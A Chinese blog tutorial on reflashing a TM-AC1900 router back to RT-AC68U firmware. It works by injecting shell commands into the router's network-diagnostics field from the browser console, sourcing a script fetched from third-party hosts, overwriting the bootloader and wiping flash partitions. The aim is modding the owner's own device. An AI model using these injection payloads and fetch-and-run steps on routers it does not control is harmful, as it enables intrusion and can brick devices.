從零開始

TM-AC1900 3199 版本固件刷回 AC68U 支持 AiMesh 及AC68U最新固件下载

  1. TM-AC1900 改的 AC68U 千万不要后台直接升级固件~
  2. TM-AC1900 3199 版本固件如何刷回 AC68U?
    1. 相关资料
  3. TM-AC1900 3199 版本固件刷回 AC68U 刷机文件、工具准备、环境检测
    1. 修改 CFE 文件
    2. 刷机文件打包
    3. 检测环境是否正常
  4. 执行命令挂载 U 盘、读写权限修改、刷机……
    1. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    2. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    3. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    4. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    5. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    6. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    7. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    8. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    9. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    10. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    11. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    12. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
  5. AC68U 加固,防止变回 TM-AC1900
    1. 备份 mtd5_backup.bin 以备不时之需
    2. 升级到 RT-AC68U 最新版本固件
  6. 附:TM-AC1900 3199 版本固件备份原始 CFE 文件方法
    1. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    2. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
  7. Aimesh 无法搜索到或者添加节点?
    1. 导出 cfe
    2. 修改 cfe
    3. 刷入 cfe
  8. 华硕路由器禁止自动跳转 router.asus.com

文章目录X

2016 年双十一淘宝买的水货华硕 RT-AC68U 还在服役,折腾过双拨、刷过梅林……前阵子直接从梅林刷回原版。也是因为这个,大意了,中午登陆路由器看到有更新,于是点更新……再回来就是 TM-AC1900 原形毕露。

「TM-AC1900 3199 版本固件刷回 AC68U 支持 AiMesh 及AC68U最新固件下载:https://ostarted.com/157」

固件更新:华硕 AC68U 官方最新固件下载

TM-AC1900 改的 AC68U 千万不要后台直接升级固件~

TM-AC1900 改的 AC68U 后台在线升级固件,直接悲剧,三分钟、三分钟、三分钟……手机还是没有连上 WIFI。断电重启,依旧无法连接 WIFI。电脑网线连接路由器登陆,发现名字变成 TM-AC1900 了……版本:3.0.0.4.376_3199,这个 TM 版固件跟 AC68U 的肯定有区别,要不然不会配置都丢失了。

「TM-AC1900 3199 版本固件刷回 AC68U 支持 AiMesh 及AC68U最新固件下载:https://ostarted.com/157」

这下子隐约中有点不妙的感觉……很久前听说过华硕新版本固件锁 CEF,无法降级、无法刷第三方固件……

TM-AC1900 3199 版本固件如何刷回 AC68U?

看了一圈,简单的方法试了一下——路由器后台直接刷、降级、救援模式加 TFTP 直接刷、进入 CFE 刷……对 3199 版本无效。应该就剩下两个方法可行:一个是拆 Flash 重新写;二是使用命令通过 U 盘重新刷 CFE 和固件。

第一个就干不了,没工具没技术,风险大大。第二个有教程:分享 TM-AC1900 3199 固件刷回 AC68U 支持 AiMesh 的方法

「TM-AC1900 3199 版本固件刷回 AC68U 支持 AiMesh 及AC68U最新固件下载:https://ostarted.com/157」

可是第二个方法第一步就卡住了——需要机器原本的 CFE 文件。TM-AC1900 3199 固件后台连开启 SSH 的选项都没有了,CFE 是无法备份导出了。后来翻帖子,CFE 区别只是 MAC 和 PIN 码,这个登录路由器就能获取到,然后用工具修改别人提供的 CFE 文件就好。

这里 #44 楼下了 CFE 和修改工具。(最终实测可用)

如需获取 TM-AC1900 3199 固件原始 CFE 文件,参考文末:TM-AC1900 3199 版本固件备份原始 CFE 文件方法。然后使用在线工具:CFEditor: Make Routers Great Again 生成新的 CFE 文件。

「TM-AC1900 3199 版本固件刷回 AC68U 支持 AiMesh 及AC68U最新固件下载:https://ostarted.com/157」

相关资料

From AC1900 To AC68U After Revert——这个应该是原始教程,英文。

分享 TM-AC1900 3199 固件刷回 AC68U 支持 AiMesh 的方法——中文版教程。

华硕 TM-AC1900 刷 AC68P & AC68U x.32799 可行 aimes

TMO 3199 改 ac68 方法——docbill

有些链接已经失效,可在这里下载参考资料备份

TM-AC1900 3199 版本固件刷回 AC68U 刷机文件、工具准备、环境检测

温馨提示:刷机有风险!后果自负!!!刷机有风险!后果自负!!!

下面开始刷机流程:

文件工具下载:TM-AC1900toRT-AC68U-1024.rar(包含:CFEEdit.exe、mtd-write、FW_RT_AC68U_30043763626.trx 和 cfe_ac68u_1020.bin)

修改 CFE 文件

登录路由器获取 LAN MAC、2.4G 无线 MAC、5G 无线 MAC 以及 PIN 码(LAN MAC 与 2.4G 无线 MAC 可能相同)。然后使用 CFEEdit.exe 打开 cfe_ac68u_1020.bin CFE 文件,修改 4 个地方:

et0macaddr=00:00:00:00:00:00 中 00:00:00:00:00:00 改为 LAN MAC;
0:macaddr=00:00:00:00:00:00 中 00:00:00:00:00:00 改为 2.4G 无线 MAC;
1:macaddr=00:00:00:00:00:00 中 00:00:00:00:00:00 改为 5G 无线 MAC;
secret_code=12345678 中 12345678 改为原来路由器 PIN 码。

修改完成后另存为 new_cfe.bin。

刷机文件打包

这里通过 U 盘方式刷机,准备一个闲置 U 盘,格式化为 NTFS,卷标改为 USB。把前面修改好的 new_cfe.bin 与 FW_RT_AC68U_30043763626.trx、mtd-write 一起打包成 zip 压缩包文件,命名为 files12345.zip 复制到 U 盘,然后 U 盘插到路由器上。

注意:压缩包文件不能在文件夹下,并且以下操作请确保路由器能正常联网。

检测环境是否正常

打开 Chrome 浏览器(Firefox 应该也没问题),登录路由器,进去「网络工具」-「网络诊断」,鼠标右键检查(或 F12),打开「开发者工具界面」,点入 console 选项卡,备用。

validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;}

console 命令行下,复制、粘贴上面的命令,然后回车。再点击路由器界面「网络诊断」按钮。若正常,会在路由器「网络诊断」按钮下面文本框内出现 hello world。测试没问题,就可以正式开始。

执行命令挂载 U 盘、读写权限修改、刷机……

开始刷写固件。

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount -t tmpfs tmpfs userRpm";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\ncp -a . userRpm";return true;}

日志可能提示:cp: recursion detected, omitting directory "./userRpm"

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount --move userRpm .";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nservice restart_httpd";return true;}

这步操作完成会提示 done. 然后等 2 分钟以上后再进行后面命令执行操作。(实测不等待也可以成功)

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate tmac1900.weebly.com";return true;}

此处命令执行成功,返回信息会有 u.txt 字样,如果没有表示失败。。这步操作如果失败,回到前面一步(第 6 步)重新操作。

实测,直接重新执行这一步,直到成功获取 u.txt 也可以。

Tips:可在电脑浏览器尝试 tmac1900.weebly.com 是否能访问,若不能,可将 tmac1900.weebly.com 换成 docbill.freeshell.org 重试。或将 u.txt 放至自己的服务器上,将 tmac1900.weebly.com 改成自己服务器地址。

u.txt 文件内容如下:

sh -x -c "`echo "$*"|sed -e 's,[.][.]\([0-9A-F][0-9A-F]\),%\1,g' -e 's,%20, ,g' -e 's,%23,#,g' -e 's,%24,$,g' -e 's,%2F,/,g' -e 's,%3A,:,g' -e 's,%3B,;,g' -e 's,%3C,<,g' -e 's,%3D,=,g' -e 's,%3E,>,g' -e 's,%5F,_,g' -e 's,%25,%,g' `"

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('find /tmp/mnt -name files12345.zip').replace(/%/g,'..');return true;}

这步完成 files12345.zip 应该就挂载上。

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('unzip -o /tmp/mnt/USB/files12345.zip').replace(/%/g,'..');return true;}

此步操作应该是解压 files12345.zip

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nchmod 755 mtd-write";return true;}

此步操作应该是修改 mtd-write 权限。

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent("./mtd-write new_cfe.bin boot").replace(/%/g,'..');return true;}

此步操作应该应该就成功把新的 cfe 写进去了。

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmtd-write2 FW_RT_AC68U_30043763626.trx linux";return true;}

这步完成,路由器新 cfe 和固件都已经刷写好。保险起见,操作完成后等待五分钟以上,然后关掉电源,按住 WPS 按钮不放同时开机,直至路由器后面白色 ASUS 指示灯闪烁,松开 WPS 按钮(这个步骤是清 NVRAM 恢复默认设置),待路由器自动重启完毕。如无意外,TM-AC1900 3199 版本固件已经成功刷回 AC68U 固件。

温馨提示:此步若失败也不怕,前面一步已经更新 cfe。清除 NVRAM,然后进入 miniCFE 应该可以直接刷 FW_RT_AC68U_30043763626.trx 固件。

AC68U 加固,防止变回 TM-AC1900

为保证 AC68U 升级固件不会变回 AC1900 还要对路由进行如下处理:

打开路由器 SSH,通过 SSH 连接路由器,依次执行如下命令:

cat /dev/mtd5 > /jffs/mtd5_backup.bin && mkdir /tmp/asus_jffs && mount -t jffs2 /dev/mtdblock5 /tmp/asus_jffs && rm -rf /tmp/asus_jffs/* && sync && umount /tmp/asus_jffs && ln -s /sbin/rc mtd-erase
./mtd-erase -d asus
rm -rf /jffs/.sys/RT-AC68U
nvram unset fw_check && nvram commit && reboot

等待路由器自动重启完成即可。若重启路由器前显示 BUS error,继续重启然后清除 NVRAM 应该就可以。

刷回来 AC68U 固件后,路由器主界面左上角还是显示 TM1900?尝试恢复出厂设置一次试试,或者用 ssh 登录路由器执行 nvram set odmpid=RT-AC68U 就好。

备份 mtd5_backup.bin 以备不时之需

使用 WinSCP 把 /jffs/mtd5_backup.bin 复制出来备份即可。

升级到 RT-AC68U 最新版本固件

RT-AC68U 固件官方下载地址:https://www.asus.com.cn/Networking/RTAC68U/HelpDesk_BIOS/

RT-AC68U 最新版本固件下载:

固件更新华硕 AC68U 官方最新固件下载

升级方法:登录路由器,「系统管理」-「固件升级」,手工上传固件升级,建议不要在线更新!

升级完成后,重复上面加固操作,以防万一:

cat /dev/mtd5 > /jffs/mtd5_backup.bin && mkdir /tmp/asus_jffs && mount -t jffs2 /dev/mtdblock5 /tmp/asus_jffs && rm -rf /tmp/asus_jffs/* && sync && umount /tmp/asus_jffs && ln -s /sbin/rc mtd-erase
./mtd-erase -d asus
rm -rf /jffs/.sys/RT-AC68U
nvram unset fw_check && nvram commit && reboot

至此,折腾完毕。

温馨提示:刷机有风险!后果自负!!!

附:TM-AC1900 3199 版本固件备份原始 CFE 文件方法

方法来自:From AC1900 To AC68U After Revert——这个应该是原始教程,英文。

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate tmac1900.weebly.com";return true;}

前面烧写固件步骤执行上面命令成功后,执行如下命令:

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nu.txt "+encodeURIComponent("cat /dev/mtd0 > /tmp/mnt/USB/original_cfe.bin").replace(/%/g,"..");return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nu.txt "+encodeURIComponent("umount  /tmp/mnt/USB").replace(/%/g,"..");return true;}

如无意外,至此成功获取 TM-AC1900 3199 版本固件原始 CFE 文件保存到 U 盘。

Aimesh 无法搜索到或者添加节点?

温馨提示:刷写 cfe 有风险,后果自负!

CFE 问题,参考资料:Aimesh 无法搜索到 AC66U_B1 节点问题

解决方法:把 CFE 导出来修改两个地方:nospare 和 ATEMODE,改完再刷回去恢复一次出厂设置就可以。nospare=0(等于 0 才可以添加节点),ATEMODE=0(等于 0 才可以使用 Aimesh)。如果没有 nospare 手动添加进去。

导出 cfe

SSH 连接 AC68U,执行如下命令,然后 WinSCP 连接路由器,在 /tmp 目录下即可下载导出的原始 cfe 文件 original_cfe.bin

cd /tmp
cat /dev/mtd0 > original_cfe.bin

修改 cfe

CFEEdit.exe 和 mtd-write 可 在此下载

cfe 修改参考:

刷入 cfe

温馨提示:刷写 cfe 有风险,后果自负!

CFEEdit.exe 和 mtd-write 可在此下载

把修改好的 cfe 文件(比如 new_cfe.bin)和 mtd-write 通过 WinSCP 上传到 /tmp 目录。执行如下命令,完成后路由器恢复出厂设置即可。

chmod u+x mtd-write
./mtd-write new_cfe.bin boot

华硕路由器禁止自动跳转 router.asus.com

SSH 登录路由器,执行如下代码即可。

nvram set local_domain=$(nvram get lan_ipaddr) 
nvram commit && reboot

固件更新:华硕 AC68U 官方最新固件下载

退出移动版